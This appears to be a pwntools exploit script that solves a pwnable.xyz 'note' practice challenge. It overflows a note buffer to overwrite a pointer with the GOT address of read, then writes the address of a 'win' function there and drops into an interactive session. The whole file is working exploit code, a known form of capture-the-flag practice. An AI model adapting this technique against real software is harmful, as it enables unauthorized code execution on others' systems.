from pwn import *
#p = process('./note')
#gdb.attach(p)
p = remote('svc.pwnable.xyz', 30016)
read_got = p64(0x0000000000601248)
win = p64(0x000000000040093c)
p.recvuntil('> ')
p.sendline("1")
p.recvuntil("Note len? ")
p.sendline("41")
p.recvuntil("note: ")
exp = "a"*32 + read_got
p.sendline(exp)
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("desc: ")
p.sendline(win)
p.recvuntil("> ")
p.sendline("2")
p.interactive()
